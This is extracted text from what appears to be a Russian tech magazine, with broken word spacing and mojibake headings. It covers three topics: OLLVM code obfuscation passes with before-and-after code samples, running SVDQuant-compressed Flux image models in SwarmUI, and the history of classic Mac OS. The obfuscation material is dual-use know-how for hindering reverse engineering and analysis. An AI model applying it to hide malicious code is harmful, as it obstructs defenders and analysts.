   AcceleratorsW = LoadAcceleratorsW(a1, (LPCWSTR)0x6D);
  v9 = x;
                     for ( i = y; y >= 10 && (((_BYTE)x * ((_BYTE)x + 1)) & 1) != 0; i = y

)
{
     LoadAcceleratorsW(a1, (LPCWSTR)0x6D);
       AcceleratorsW = LoadAcceleratorsW(a1, (LPCWSTR)0x6D);
      v9 = x;
}

В отли чие от тра дици онной встав ки мусора, то есть нез начаще го (или «мер -
тво го») кода, выловить ори гиналь ный код по уни каль ным WinAPI ста новит ся
куда слож нее. Кро ме того, bogus-бло ки усложня ют граф исполне ния, раз -
деляя базовый блок на нес коль ко час тей.

Instruction substitution
Это метод обфуска ции, при котором прос тые инс трук ции типа сло жения,
вычита ния или про вер ки фла га заменя ются более слож ными, но семан тичес -
ки экви вален тны ми конс трук циями. Он работа ет по прин ципу «дела ем прос -
тое слож ным», что бы зат руднить ана лиз и рас позна вание стан дар тных пат -
тернов в коде. Нас трой ки:

 — вклю чает этот вид обфуска ции;• -sub
 — сколь ко раз прой ти по фун кции.• -sub_loop=N

Вот что было:

 EndDialog(a1, a3);

И вот во что прев ратил ся код пос ле обфуска ции:

        v34 = (~v32 & 0xCE296CF528B2527EuLL | v32 & 0x31D6930AD74DAD81LL)
           ^ (~v33 & 0xCE296CF528B2527EuLL | v33 & 0x31D6930AD74DAD81LL);

        v35 = ((v34 | ~(~v32 | ~v33)) ^ 0x45B110EDBA343CE6LL)
           & (v34 | ~(~v32 | ~v33) | 0x45B110EDBA343CE6LL);

         EndDialog(hDlg, ~(~(~(v26 ^ ~v35) & (v35 | v26) ^
0x7B085DB5B30B2D66LL)
         ^ 0x7B085DB5B30B2D66LL | (~v35 & 0x861C6ABB45D8AB39uLL
         | v35 & 0x79E39544BA2754C6LL) ^ 0x79E39544BA2754C6LL));

Прос тые вычис ления вро де  прев раща ются в длин ную цепоч ку опе раций.
Обра бот ке под верга ются толь ко под ходящие учас тки кода. Иног да в коде
это го метода обфуска ции силь но течет память, из-за чего ком пилятор веша ет
сис тему. Все-таки двад цать гигабайт опе ратив ной памяти для сбор ки пяти
килобайт кода слег ка избы точ но. При поми наю, что эта проб лема была и на
пер вом серь езном релизе в начале десятых.

X+Y

Control flow flattening
Этот метод «упло щает» поток управле ния, прев ращая лег ко чита емый граф
в подобие вир туаль ной машины. Нап ример, таким был код до:

   if (x > 0)
  do_positive();
else
  do_negative();

do_final();

Та ким стал пос ле:

   int label = 0;

  while (1) {
    switch (label) {
     case 0:

         if (x > 0)
          label = 1;

      else
          label = 2;

      break;
     case 1:
      do_positive();

        label = 3;
      break;
     case 2:
      do_negative();

        label = 3;
      break;
     case 3:
      do_final();
      return;
  }
}

Ло гика потока управле ния перес тает счи тывать ся на глаз. Что бы выяс нить,
что код дела ет, пот ребу ется трас сиров ка.

Нас трой ки:
 — вклю чает этот вид обфуска ции;• -fla

 — акти виру ет деление базовых бло ков на час ти;• -split
 — сколь ко раз раз делить базовый блок.• -split_num=N

Ключ  раз бива ет базовый блок на нес коль ко мень ших бло ков, соеди -

нен ных перехо дами, эта опция хорошо допол няет Flattening, запуты вая граф
еще силь нее.

split

До и пос ле обфуска ции

ÇÀÊËÞ×ÅÍÈÅ

Об фуска торы мно гок ратно усложня ют ревер серам жизнь. Что бы снять слой
обфуска ции, при ходит ся писать деоб фуска тор, ори енти рован ный на кон крет -
ную вер сию защиты. Дописав свои про ходы или слег ка изме нив сущес тву -
ющие, мож но на порядок уве личить количес тво челове ко-часов, тре бующих ся
для ана лиза защища емых алго рит мов. Сов местив обфуска цию и анти отла -
доч ные при емы, ты можешь подарить ана лити кам мно жес тво незабы ваемых
часов, про веден ных в деком пилято ре.

https://github.com/wwh1004/ollvm-16
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В погоне за новыми моделя ми вро де
Lumina 2.0 и HiDream-I1 сооб щес тво начало
забывать про ста рый доб рый Flux, став ший
про рывом мень ше года назад. И как ока -
залось, совер шенно нап расно: новей ший
алго ритм поз воля ет соз давать кар тинки
этой доволь но тяжелой моделью все го
за четыре секун ды — быс трее, чем
при помощи SDXL.

SVDQUANT

Тех нология сжа тия ней росете вых моделей, получив шая наз вание SVDQuant,
была соз дана груп пой раз работ чиков  из Мас сачусет ско го тех -
нологи чес кого инсти тута. Раз работ чики опи сыва ют ее так.

MIT HAN Lab

SVDQuant — метод сжа тия ней рон ных сетей, исполь зующий син гуляр ное
раз ложение мат риц (SVD) для сжа тия модели до 4 бит без сущес твен ного
ухуд шения качес тва. Модель FLUX.1 с 12 мил лиар дами парамет ров уда лось
сжать в 3,6 раза, в резуль тате чего модель умес тилась в доволь но скром ный
объ ем виде опа мяти. Кста ти, при помощи SVDQuant мож но сжи мать далеко
не толь ко модели для генера ции кар тинок; к при меру, уже дос тупна кван -
тован ная модель тек сто вого декоде ра T5.

Да лее в дей ствие всту пает инс тру мент Nunchaku, который исполь зует ся
для генера ции кар тинок с при мене нием сжа той модели. Nunchaku пот ребля -
ет в 3,5 раза мень ше памяти, чем базовая 16-бит ная модель Flux, и уско ряет
каж дый шаг генера ции в три раза по срав нению даже с силь но сжа той
моделью в фор мате NF4 (с нее, напом ню, началась прак тика кван тования
моделей), сущес твен но опе режая пос леднюю по качес тву кар тинки.

На виде окар тах с неболь шим объ емом памяти модели SVDQuant работа -
ют на порядок быс трее нес жатой вер сии и как минимум втрое быс трее, чем
с кван товани ем fp8, Q8 или Q6. На кар тах с 16 Гбайт виде опа мяти при рост
про изво дитель нос ти скром нее, при мер но в 2,5 раза по срав нению с вари -
анта ми GGUF или fp8.

 — наз вание метода сжа тия и фор мата, в котором пред став лены

сжа тые модели.

• SVDQuant

 — инс тру мент для работы с моделя ми в фор мате SVDQuant.

Дос тупен как в виде кода для раз работ чиков, так и в рас ширени ях
для ComfyUI и SwarmUI.

• Nunchaku

 — инс тру мент для кван тования (сжа тия) моделей.• DeepCompressor

ÓÑÒÀÍÎÂÊÀ È ÈÑÏÎËÜÇÎÂÀÍÈÅ ÌÎÄÅËÈ

Для работы с новыми моделя ми мы будем исполь зовать интерфейс SwarmUI,
уже зна комый тебе по нес коль ким пре дыду щим стать ям.

Ес ли SwarmUI у тебя уже уста нов лен, обя затель но обно ви как сам интерфейс
(вклад ка Server, Check for Updates, затем Update and Restart Server), так и дви -
жок Comfy (нуж но пол ностью вый ти из SwarmUI, зак рыв окно тер минала,
и запус тить файл  из пап ки 

).

update_comfyui.bat SwarmUI\dlbackend\comfy\
update

Кро ме того, воз можно, тебе при дет ся обно вить Torch до вер -
сии 2.7 или 2.8. Я исполь зую Torch 2.8 nightly, уста новить который мож но сле -
дующей коман дой (запус кать ее нуж но из пап ки 

, в про тив ном слу чае Torch уста новит ся не туда, куда надо):

SwarmUI\dlbackend\comfy\
python_embeded\

 pip   python -m install -U --pre torch torchvision torchaudio 
--index-url https://download.pytorch.org/whl/nightly/cu128

Те перь нуж но ска чать модель или модели.

Ес ли у тебя виде окар та семей ства Blackwell
(Nvidia RTX 50xx), тебе понадо бят ся модели,
кван тован ные в . Для всех осталь ных виде -
окарт нуж ны модели .

fp4
int4

 модель мож но со стра ницы раз работ чиков. На момент написа ния
статьи дос тупны сле дующие вари анты.
Ска чать

Для карт поколе ния Blackwell:
;• FLUX.1-dev (fp4)

.• Shuttle Jaguar (fp4)

Для всех осталь ных виде окарт:
;• FLUX.1-dev (int4)

;• Shuttle Jaguar (int4)
.• Jib Mix Flux (int4)

Кро ме того, дос тупны вари анты Schnell (я не вижу смыс ла в их исполь -
зовании: ско рос ти уже дос таточ но, а качес тво этих моделей ниже), а так же
раз личные вспо мога тель ные модели — Pix2Pix, Canny, Depth и Fill.

Ска чивать нуж но пап ку целиком, вклю чая фай лы 

, , 

и . Фай лы тре бует ся сох ранить в сво ей собс твен ной под дирек -
тории в катало ге , нап ример так:

transformer_blocks.
safetensors unquantized_layers.safetensors comfy_config.json
config.json

SwarmUI\Models\diffusion_models\

SwarmUI\Models\diffusion_models\
    svdq-fp4-flux.1-dev\
        comfy_config.json
config.json
transformer_blocks.safetensors
unquantized_layers.safetensors
    svdq-fp4-shuttle-jaguar\
        comfy_config.json
config.json
transformer_blocks.safetensors
unquantized_layers.safetensors

Те перь мож но запус кать SwarmUI. Попытай ся заг рузить модель, нажав на три
точ ки спра ва от ее икон ки и выб рав Load Now. В этот момент SwarmUI опре -
делит тип модели и пред ложит тебе доус тановить рас ширение, необ ходимое
для ее заг рузки. Под твер ди зап рос и подож ди уста нов ки. Пос ле перезаг рузки
сер верной час ти модель будет готова к исполь зованию. В слу чае проб лем
мож но почитать  на сай те SwarmUI.инс трук цию

Пос коль ку Flux — дис тилли рован ная модель, параметр CFG всег да дол жен
быть уста нов лен в зна чение 1. Не забывай, одна ко, про допол нитель ный
параметр Flux Guidance Scale, дос тупный на вклад ке Sampling пос ле выбора
модели. Его зна чение по умол чанию — 3,5; если опус тить параметр до 2–2,5,
резуль тат получит ся более кре атив ным, но менее «глян цевым».

Мо дели SVDQuant чувс тви тель ны к выбору сем пле ра и шедуле ра. Хорошо
работа ют сочета ния Euler Normal и Euler Beta, с дру гими нас трой ками мож но
экспе римен тировать. Раз работ чики рекомен дуют начать с десяти шагов
(параметр Steps), но по моему опы ту это го недос таточ но: для хорошей
детали зации тре бует ся как минимум 20 шагов, а для уве рен ной генера ции
длин ного тек ста — и вов се 28 и более.

Как и дру гие вер сии Flux, модели под держи вают раз решения до 2К вклю -
читель но (то есть мож но генери ровать кар тинки раз мером поряд -
ка 1440 на 1440, вклю чая дру гие стан дар тные вари анты соот ношений сто -
рон). В отли чие от пол ной вер сии Flux, блоч ные арте фак ты на высоких раз -
решени ях в кван тован ных моделях SVDQuant прак тичес ки не встре чают ся,
поэто му мож но сме ло редак тировать метадан ные, ука зав раз -
решение 1440 на 1440.

ÑÐÀÂÍÅÍÈÅ ÑÊÎÐÎÑÒÈ

Я сге нери ровал нес коль ко пар кар тинок с одним и тем же зап росом и сле -
дующи ми нас трой ками: раз решение 2 Мп (1168 × 1712), Euler Normal,
20 шагов, CFG = 1, Flux Distilled Guidance = OFF. Виде окар та — Nvidia RTX
5080 16 Гбайт. Резуль таты — в таб лице.

Ìî äåëü Êâàí òîâàíèå Âðå ìÿ ãåíåðà öèè (ñ)

ux-1-dev fp16 68, 64

ux-1-dev fp8 31, 28

ux1-dev-Q8_0.gguf Q8_0 (GGUF) 31, 28

ux1DevScaledFp8_v2 fp8 (scaled) 26, 28

svdq-fp4-ux.1-dev fp4 (SVDQuant) 12, 12

Пол ная вер сия модели Flux1.dev fp16 работа ет мед леннее все го: она не вме -
щает ся в виде опа мять, и SwarmUI вынуж ден под гру жать нуж ные час ти
из основной памяти.

Вер сия fp8 в памяти раз меща ется целиком; генера ция идет с нор маль ной
ско ростью, качес тво нем ного отли чает ся от ори гина ла, но все еще очень
высокое.

Вер сия Q8_0 так же целиком помеща ется в памяти, одна ко этот механизм
кван тования слож нее по срав нению с fp8. Ско рость при мер но соот ветс тву ет
вари анту fp8 (на дру гом железе, разуме ется, циф ры могут отли чать ся в любую
сто рону), а качес тво мак сималь но приб лижено к пол ной вер сии модели.
Кван ты Q6 или Q8 име ет смысл выбирать по объ ему дос тупной виде опа мяти;
качес тво будет выше, чем у вер сии fp8, но вер сия fp8 может работать быс -
трее. Квант Q4 я не тес тировал; качес тво сге нери рован ных им изоб ражений
уже не выдер жива ет кри тики.

На конец, модель fp4 в фор мате SVDQuant выда ет самую высокую ско -
рость. Качес тво на глаз я бы оце нил как что-то из про межут ка меж ду Q8_0
(прак тичес ки неот личимо от fp16) и fp8 (все еще очень высокое). Напом ню,
что качес тво генера ции — не то же самое, что качес тво кар тинки. Если ты
вспом нил об арте фак тах ком прес сии JPEG или мут ных кар тинках низ кого раз -
решения — забудь; здесь качес тво опре деля ется мел кими деталя ми, а про ще
все го его про верить при генера ции длин ных тек стов.

Про вер кой качес тва модели мы сей час и зай мем ся.

ÏÐÈÌÅÐÛ ÐÀÁÎÒÛ

Для начала — пос тер, на котором я про веряю генера цию тек стов.

Впол не хорошо, одна ко чис ло шагов приш лось под нять до 28: как с рекомен -
дован ными десятью шагами, так и с двад цатью, которые я исполь зовал
во всех осталь ных при мерах, текст генери ровал ся с огре хами.

Всад ник, иллюс тра ция

Чер но-белая сцен ка

А даль ше — про вер ка на блоч ные арте фак ты (обра ти вни мание на фон).

На пом ню, что при генера ции кар тинок в высоком (выше 1 Мп) раз решении
Flux скло нен генери ровать арте фак ты, опи сан ные в статье «

»; в кван тован -
ной модели — никаких приз наков арте фак тов. Мне приш лось при ложить уси -
лия, что бы соз дать кар тинку, на которой эти арте фак ты все-таки воз никли,
но даже в этом слу чае они выраже ны замет но сла бее, чем в стан дар тных
вари антах Flux.

Фиш ки Flux.1.
Добива емся луч ших кар тинок от новой генера тив ной модели

Ре зуль тат работы кван тован ной модели

Стан дар тная fp8 с теми же парамет рами и сидом

Блоч ные арте фак ты на гра диен тном фоне в пер вом слу чае сла бо выраже ны,
во вто ром — впол не замет ны. Пов торюсь: на обыч ных изоб ражени ях, соз -
дава емых моделя ми SVDQuant, блоч ные арте фак ты пол ностью отсутс тву ют.

Об ложка с вам пиром

Продолжение статьи →

mailto:aoleg@voicecallcentral.com
https://hanlab.mit.edu/projects/svdquant
https://huggingface.co/collections/mit-han-lab/svdquant-67493c2c2e62a1fc6e93f45c
https://huggingface.co/mit-han-lab/svdq-fp4-flux.1-dev/tree/main
https://huggingface.co/mit-han-lab/svdq-fp4-shuttle-jaguar
https://huggingface.co/mit-han-lab/svdq-int4-flux.1-dev
https://huggingface.co/mit-han-lab/svdq-int4-shuttle-jaguar
https://civitai.com/models/686814/jib-mix-flux
https://github.com/mcmonkeyprojects/SwarmUI/blob/master/docs/Model%20Support.md#nunchaku-mit-han-lab
https://xakep.ru/2024/09/20/flux-1-tips/
https://xakep.ru/2024/09/20/flux-1-tips/


УСКОРЯЕМ ГЕНЕРАЦИЮ КАРТИНОК
ПРИ ПОМОЩИ СЖАТЫХ МОДЕЛЕЙ

GEEK  НАЧАЛО СТАТЬИ

Пос мотрим, как работа ет вто рая, «кинош ная» модель — Shuttle Jaguar.

Пи лот, Euler Beta

Тот же сид, но DPM++ 2M Beta

Поп робу ем про явить блоч ные арте фак ты.

Но арте фак тов нет. Про буем повысить раз решение за пре делы, офи циаль но
под держи ваемые моделью.

Да же в раз решении 2048 × 1536 арте фак тов нет. Кста ти, генера ция кар тинки
с раз решени ем 3 Мп заняла 28 с — это впол не при лич ный резуль тат даже
для SDXL, если пос читать вре мя началь ной генера ции и вто рого про хода
с повыше нием раз решения.

На конец, «китай ская» аква рель.

Jaguar

Обыч ный Flux

À ÌÎÆÍÎ ÅÙÅ ÁÛÑÒÐÅÅ?

SVDQuant мож но еще нем ного уско рить, уста новив параметр Nunchaku
Cache Threshold (вклад ка Advanced Sampling) в ненуле вое зна чение. При мер -
но до зна чения 0,2 падение качес тва кар тинки отно ситель но невели ко, ско -
рость генера ции в зна чении 0,2 поч ти удва ивает ся; с рос том парамет ра ухуд -
шение ста новит ся замет ным. К при меру, пос тер Kung-Fu Chicken с при емле -
мой над писью мне не уда лось сге нери ровать ни с одним зна чени ем
Nunchaku Cache Threshold, кро ме нулево го, но кар тинки без над писей
получа ются впол не нор маль ными. Впро чем, там, где нуж но качес тво, пол -
зунок кеширо вания все же сто ит оста вить в покое.

ÍÅÄÎÑÒÀÒÊÈ SVDQUANT

Ра зуме ется, прос то взять и уско рить что угод но в три и более раза невоз -
можно; за ско рость всег да при ходит ся чем-то пла тить. Какие недос татки
у новой тех нологии?

На падение качес тва по срав нению с исходной моделью в фор мате fp16,
пожалуй, мож но зак рыть гла за: оно нас толь ко невели ко, что им лег ко пожер -
тво вать в поль зу ско рос ти. А если срав нивать с вер сией Flux в фор мате fp8, то
качес тво у моделей SVDQuant даже выше.

В чис ло недос татков мож но записать огра ничен ную под дер жку тех нологии
(пока — толь ко Comfy/SwarmUI) и край не огра ничен ное чис ло кван тован ных
моделей: сей час это Flux1 и его инс тру мен тарий и одна сто рон няя модель
Shuttle Jaguar, осно ван ная на Flux Schnell. Вла дель цам пре дыду щих поколе -
ний виде окарт (до Blackwell) дос тупна модель JibMix, но на этом дей стви тель -
но все. Что при водит нас к сле дующе му недос татку: чрез вычай но ресур соем -
кому про цес су сжа тия.

Для сжа тия моделей исполь зует ся софт ; он очень мед -
ленный и чрез вычай но про жор ливый. Кван тование одной модели на базе Flux
занима ет око ло шес ти часов на уско рите ле H100 с 80 Гбайт виде опа мяти.
Дома такое не пос тавишь, да и арен да такого уско рите ля далеко не бес плат -
на. По сло вам раз работ чиков, со вре менем инс тру мент будет опти мизи -
рован; может быть, пос ле это го чис ло моделей в этом фор мате нач нет рас ти.

DeepCompressor

ÂÛÂÎÄÛ

Так все-таки Flux за четыре секун ды — это пре уве личе ние? Ско рее, прав да:
кар тинки в раз решении 1 Мп генери руют ся за 3–4 с в зависи мос ти от железа
и чис ла шагов, которое нап рямую вли яет на качес тво. Если же тебе нуж на
более высокая детали зация, повышен ное раз решение или тек сто вые встав ки,
ждать при дет ся уже поряд ка 12 с.

Для срав нения: изоб ражения в таком раз решении и с ана логич ным уров -
нем детали зации модели SDXL соз дают на моем железе приб лизитель но
за 30 с с уче том вто рого про хода или при мер но за 17 с, если исполь зовать
рас ширение , с которым кор рек тно работа ют не все модели. При этом
Flux гораз до луч ше понима ет зап росы; в нем про ще с пер вой-вто рой попыт ки
соз дать имен но то, что нуж но.

RAUNet

Flux рано спи сывать со сче тов. Да, модель HiDream мощ нее: она луч ше
понима ет зап росы, под держи вает боль ше сти лей; в пол ной вер сии под -
держи вают ся негатив ные клю чевые сло ва. Наконец, лицен зия HiDream дает
мак сималь но широкие пра ва — в отли чие от лицен зии Flux. Одна ко HiDream
генери рует кар тинку с раз решени ем 2 Мп за пол торы-две минуты, в то вре мя
как Flux даже в обыч ном режиме fp8 соз дает такие изоб ражения за пол -
минуты, а с новым алго рит мом кван тования SVDQuant — и вов се за 12–13 с.

https://github.com/mit-han-lab/deepcompressor
https://xakep.ru/2025/01/22/advanced-sdxl/
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Од на из важ ных вех в исто рии Apple —
переход от клас сичес кой Mac OS 9 к Unix-
подоб ной OS X, озна чав ший не прос то кар -
диналь ную сме ну прог рам мной архи тек -
туры, а гло баль ное изме нение филосо фии
ОС. В моей кол лекции вин тажных ноут буков
есть экзем пляр с той самой девятой
«макосью» на бор ту — iBook G3. Дей стви -
тель но, сто ило купить этот компь ютер, что -
бы понять при чину, по которой в Apple
решили отка зать ся от сво ей клас сичес кой
опе раци онки в поль зу ОС с прин ципи аль но
новой кон цепци ей.

Мой 12-дюй мовый iBook сошел с кон вей ера в 2002 году, и для это го года
машина была весь ма прод винутой в тех ничес ком отно шении. Здесь име ется
при вод ComboDrive, под держи вающий чте ние и запись ком пакт-дис ков
на ско рос ти до 16x, встро енный модем (56 Kбит/с), порт Ethernet, пара разъ -
емов USB 1.1. В наличии есть даже бес про вод ной адап тер Apple Air Port стан -
дарта 802.11b c мак сималь ной ско ростью переда чи дан ных до 11 Мбит/с.

В осно ве это го iBook лежит про цес сор PowerPC 750FX G3 с так товой час -
тотой 800 МГц, осна щен ный кеш-памятью пер вого уров ня объ емом 64 Кбайт
и кешем вто рого уров ня на 512 Кбайт, интегри рован ным в сам чип. Объ ем
опе ратив ной памяти сос тавля ет 256 Мбайт SDRAM PC133 (333 МГц),
из которых полови на рас паяна на пла те, а вто рая полови на уста нов лена
в единс твен ный слот рас ширения. Мак сималь но воз можный объ ем ОЗУ —
640 Мбайт. За гра фику отве чает виде окар та ATI Mobility Radeon
7500 с интерфей сом AGP 2x и собс твен ными 32 Мбайт виде опа мяти SDRAM.
Для ноут бука 2002 года наличие дис крет ного GPU — весь ма дос той ный уро -
вень.

Мой iBook G3

Это — ноут бук «ста рой шко лы», родом из той эпо хи, ког да кор пус откры вал ся
без исполь зования тем ной магии, а батарею (литий-ион ный акку муля тор
на 47 Вт · ч) мож но было вытащить при мер но за секун ду. Эпо хи, где за акку -
рат ным дизай ном компь юте ра сто яла инже нер ная логика, а не эсте тика, про -
дик тован ная спе циалис тами по мар кетин гу.

Мне этот ноут бук дос тался с нап рочь уби тым жес тким дис ком, который
отча янно про сил ся на свал ку. Никаких CD с соф том в ком плек те, понят ное
дело, тоже не име лось. Бла го в конс трук ции компь юте ра исполь зовались
стан дар тные IDE-вин честе ры форм-фак тора 2,5 дюй ма, а такого доб ра
в моих стра теги чес ких запасах хра нит ся в избытке.

Сра зу пос ле замены жес тко го дис ка начал ся увле катель ный квест по уста -
нов ке на него опе раци онной сис темы. Этот iBook был одним из пер вых ноут -
буков от Apple, пос тавляв шихся покупа телям с пре дус танов ленной OS X
10.1.4, которая на про цес соре G3 с име ющим ся в наличии объ емом опе -
ратив ки жут ко тор мозила, да и в целом выг лядела доволь но сырой. Но по
желанию мож но было отка тить ся на Mac OS 9.2.2 — самую пос леднюю редак -
цию клас сичес кой «макоси», вышед шую в кон це 2001 года. Подумав, что
на OS X я могу вдо воль полюбо вать ся и на сов ремен ном мак буке, я решил
обра тить ся к клас сике.

В отли чие от сов ремен ных вер сий эппловской опе раци онки, которая уме -
ет опре делять обо рудо вание ком па и авто мати чес ки подс тра ивать ся
под име ющееся в наличии железо, дис три бути вы клас сичес кой Mac OS
заранее ском пилиро ваны под одну кон крет ную аппа рат ную кон фигура цию. То
есть дис три бутив изна чаль но соб ран стро го для опре делен ной модели
компь юте ра, и он либо не вста нет на дру гую машину сов сем, либо выдаст
неп равиль ное экранное раз решение, которое затем невоз можно будет изме -
нить, либо не под цепит что-либо из обо рудо вания. В общем, нор маль но
работать такая сис тема не будет. Я переп робовал с десяток раз ных дис три -
бути вов Mac OS 9 и испортил кучу записы ваемых ком пакт-дис ков, преж де чем
подоб рал наконец вер сию ОС, которая нор маль но завелась на моем вин -
тажном iBook.

Выб рал неп равиль ный дис три бутив — получи проб лемы с экранным раз -
решени ем

ÑÈÑÒÅÌÀ ÏÐÈßÒÍÎÉ ÍÀÐÓÆÍÎÑÒÈ

На взгляд сов ремен ного поль зовате ля Mac OS 9 выг лядит, конеч но, нем ного
арха ично, но это и неуди витель но, если учесть, что архи тек турная осно ва этой
опе раци онки была заложе на еще в ори гиналь ном Macintosh 128K — пер -
сонал ке на базе про цес сора Motorola 68000 с 128 Кбайт памяти на бор ту.
Ког да Macintosh толь ко появил ся в 1984 году, он стал пер вым мас совым
компь юте ром с гра фичес ким интерфей сом, управля емым мышью. Подоб ный
под ход уже реали зовы вал ся ранее в лабора тори ях Xerox PARC, но имен но
Apple смог ла прев ратить тех ничес кий кон цепт в рыноч ный про дукт.

Так выг лядел про тотип пер вого гра фичес кого интерфей са в исполне нии
Xerox

Клю чевой осо бен ностью ОС от Apple ста ло отсутс твие коман дной стро ки:
поль зователь вза имо дей ство вал с компь юте ром исклю читель но пос редс твом
раз личных эле мен тов гра фичес кого интерфей са: окон, меню и знач ков. Сама
опе раци онная сис тема пред став ляла собой совокуп ность Finder (обо лоч ки)
и Toolbox — набора биб лиотек с прик ладной логикой. Собс твен но, эти биб -
лиоте ки, пре дос тавляв шие интерфейс к сис темным фун кци ям, и были
основным API, дос тупным при ложе ниям. Одна ко прог раммис ты час то исполь -
зовали «неофи циаль ные» или пло хо задоку мен тирован ные вызовы, что
делало прог раммы нес табиль ными на новых вер сиях ОС.

Внут реннее устрой ство Mac OS дол гое вре мя оста валось пре дель но
прос тым: сис тема не име ла ядра в сов ремен ном понима нии — вмес то это го
исполь зовал ся набор управля ющих модулей, вза имо дей ству ющих нап рямую
с аппа рату рой. Про цес сы в клас сичес кой Mac OS выпол нялись в общем
адресном прос транс тве, без какого-либо механиз ма раз гра ниче ния.
Это озна чало, что любая ошиб ка в одном при ложе нии мог ла обру шить всю
сис тему.

Ко все му про чему до начала девянос тых Mac OS фак тичес ки оста валась
одно задач ной: поль зователь мог работать толь ко с одним при ложе нием, хотя
Finder про дол жал фун кци они ровать в фоновом режиме. Появив ший ся поз же
механизм Cooperative Multitasking поз волил нес коль ким запущен ным прог -
раммам переда вать управле ние друг дру гу — но пол ноцен ной мно гоза дач -
ностью это так и не ста ло. Mac OS не вме шива лась в сам про цесс перек -
лючения задач, не пре рыва ла их при нуди тель но и не кон тро лиро вала вре мя
выпол нения. Управле ние перек лючени ем пол ностью лежало на самих при -
ложе ниях: каж дое из них дол жно было доб роволь но выз вать спе циаль ную
сис темную фун кцию, что бы усту пить про цес сорное вре мя дру гим запущен -
ным прог раммам. Если при ложе ние не делало это го, оно про дол жало
занимать про цес сор, бло кируя выпол нение осталь ных задач и сни жая
отзывчи вость сис темы.

Клас сичес кая Mac OS вер сии 6

Од ной из осо бен ностей Mac OS было активное исполь зование рас -
ширений — так называ емых INIT-фай лов и кон трол леров. Это поз воляло
добав лять в ОС новые воз можнос ти — нап ример, под дер жку раз личных типов
фай лов или устрой ств. Одна ко никакой изо ляции меж ду рас ширени ями
не сущес тво вало, и час то два INIT-фай ла кон флик товали друг с дру гом. Рас -
ширения заг ружались сра зу пос ле запус ка Finder, и пос ледова тель ность ини -
циали зации ока зыва ла пря мое вли яние на ста биль ность работы опе раци -
онки. Иног да решить проб лему с зависа нием сис темы мож но было прос то
сме ной поряд ка заг рузки INIT-фай лов.

Од ним из таких рас ширений стал MultiFinder, добав лявший коопе ратив ную
мно гоза дач ность меж ду при ложе ниями. Это поз волило поль зовате лям Mac
OS работать с нес коль кими прог рамма ми одновре мен но, но с сох ранени ем
прин ципа доб роволь ной переда чи управле ния. Мно гоза дач ность реали зовы -
валась за счет при оста нов ки одно го при ложе ния и вре мен ной переда чи
управле ния дру гому: поль зователь вруч ную перек лючал фокус меж ду прог -
рамма ми, щел кая по их окнам. При этом в фоновом режиме дру гие при ложе -
ния получа ли дос туп к ресур сам лишь эпи зоди чес ки — в те момен ты, ког да
активное окно прос таива ло. В общем, работа ла эта мно гоза дач ность
с исполь зовани ем кос тылей и под порок.

ÑÌÅÍÀ ÊÓÐÑÀ

В 1994 году Apple впер вые про дела ла то, что поз же успешно пов торила
еще дваж ды: кар диналь но сме нила аппа рат ную плат форму, отка зав шись
от про цес соров Motorola в поль зу более совер шенной архи тек туры PowerPC,
в раз работ ке которой при нима ла учас тие вмес те с IBM и все той же Motorola.
Пер вый Power Macintosh был пред став лен 14 мар та 1994 года, а за ним под -
тянулись и ноут буки. С перехо дом на дру гие про цес соры нуж но было менять
и опе раци онную сис тему — и Apple сде лала это, добавив под дер жку PPC
в вер сии Mac OS 7.1.2.

Mac OS 7.1.2

Но изме нения касались в основном уров ня тран сля ции кода. Mac OS исполь -
зовала  ( ) — все при ложе ния
содер жали код и для Motorola 680x0, и для PowerPC, а сис темные биб лиоте ки
работа ли в режиме сов мести мос ти с 680x0, что поз воляло плав но перей ти
на новую архи тек туру без пол ной перера бот ки ОС. В резуль тате такие прог -
раммы мог ли запус кать ся и на ста рых «маках», и на новых, но объ ем фай лов
про пор циональ но вырос, да и на быс тро дей ствии при ложе ний под дер жка
сра зу нес коль ких аппа рат ных архи тек тур в одном бинар нике ска зыва лась
не самым луч шим обра зом.

ме ханизм Fat Binary уни вер саль ные бинар ники

В Mac OS 7 нап рочь отсутс тво вала под дер жка MMU защита памяти, кро ме
того, фай ловая сис тема ОС изна чаль но была раз работа на для дис кет
и замет но тор мозила на жес тких дис ках, объ ем которых год от года рос.
Еще одной голов ной болью была биб лиоте ка дву мер ной гра фики QuickDraw,
отве чав шая за отоб ражение эле мен тов гра фичес кого интерфей са. Биб -
лиоте ка работа ла с общей областью памяти, которую раз деляла с при ложе -
нием. В этой памяти хра нилась информа ция о сос тоянии интерфей са — нап -
ример, коор динаты рас положе ния окна на экра не. Из-за такого под хода
любое неп равиль ное обра щение со сто роны при ложе ния мог ло пов редить
дан ные QuickDraw, что при води ло к сбо ям всей гра фичес кой под систе мы
и ава рий ному завер шению всех запущен ных GUI-прог рамм. Сам сбой
в QuickDraw мог так же нарушить работу при ложе ния, выз вав его немед -
ленный вылет с ошиб кой. Эта проб лема счи талась неус тра нимой в рам ках
System 7, пос коль ку была нап рямую свя зана с базовой архи тек турой гра -
фичес кого интерфей са.

COPLAND È GERSHWIN

Од новре мен но с перехо дом на плат форму PowerPC в Apple запус тили целых
два парал лель ных про екта по раз работ ке прин ципи аль но новой опе раци -
онной сис темы. Пер вый из них, с кодовым наз вани ем Copland, стар товал
в 1994 году — эта ОС была приз вана заменить уста рев шую Mac OS
7 и успешно кон куриро вать с Windows 95 от Microsoft. Интерфейс Copland
про екти ровал ся пол ностью цвет ным, с 3D-эле мен тами, новой темой офор -
мле ния под наз вани ем Platinum, а так же улуч шенным Finder с вклад ками
и воз можностью одновре мен но запус кать более одно го про цес са копиро -
вания фай лов. В Copland собира лись реали зовать вытес няющую мно гоза дач -
ность, пол ноцен ную защиту памяти и улуч шенную работу с вир туаль ной
памятью, а так же мно гополь зователь ский режим с пол ноцен ным раз делени -
ем фай лов раз ных учет ных записей — то, что у Microsoft не получи лось сде -
лать в Windows 95.

При мер но так дол жна была выг лядеть Copland. Но не срос лось…

Продолжение статьи →

mailto:valentin@holmogorov.ru
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ВСПОМИНАЕМ MAC OS 9 —
ПОСЛЕДНЮЮ ВЕРСИЮ

КЛАССИЧЕСКОЙ ОС APPLE

GEEK  НАЧАЛО СТАТЬИ

Вто рой про ект получил наз вание Gershwin — под этим наиме нова нием скры -
валась пер спек тивная опе раци онная сис тема, которая дол жна была прий ти
на сме ну Copland в 1998 году. В Gershwin собира лись внед рить перено симое
мик рояд ро, что поз воляло бы запус кать эту ОС на раз личных архи тек турах
про цес соров, вклю чая PowerPC, DEC Alpha, MIPS и Intel. Сис тема дол жна
была под держи вать мно гоп роцес сорные машины, что поз воляло бы исполь -
